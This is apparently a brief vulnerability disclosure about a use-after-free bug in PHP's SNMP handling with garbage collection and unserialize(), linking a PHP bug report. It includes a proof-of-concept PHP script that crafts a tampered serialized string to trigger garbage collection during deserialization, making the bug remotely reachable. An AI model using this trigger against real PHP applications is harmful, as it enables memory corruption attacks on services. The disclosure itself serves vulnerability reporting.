Use After Free Vulnerability in SNMP with GC and unserialize()

How it was found

https://bugs.php.net/bug.php?id=72479

P.S. This bug can be triggered remotely without call to the gc_collect_cycles() since GC can also be invoked automatically in during deserialization. Like the following code:

<?php

$xxx = [];
for ($i = 0; $i < 10000; $i++) {
	$xxx[$i] = [[]];
	$xxx[$i][0] = &$xxx[$i];
}

$arr = ['xxx' => $xxx, 'yyy' => 1];
$call_gc_poc = str_replace('yyy', 'xxx', serialize($arr));
unserialize($call_gc_poc);

?>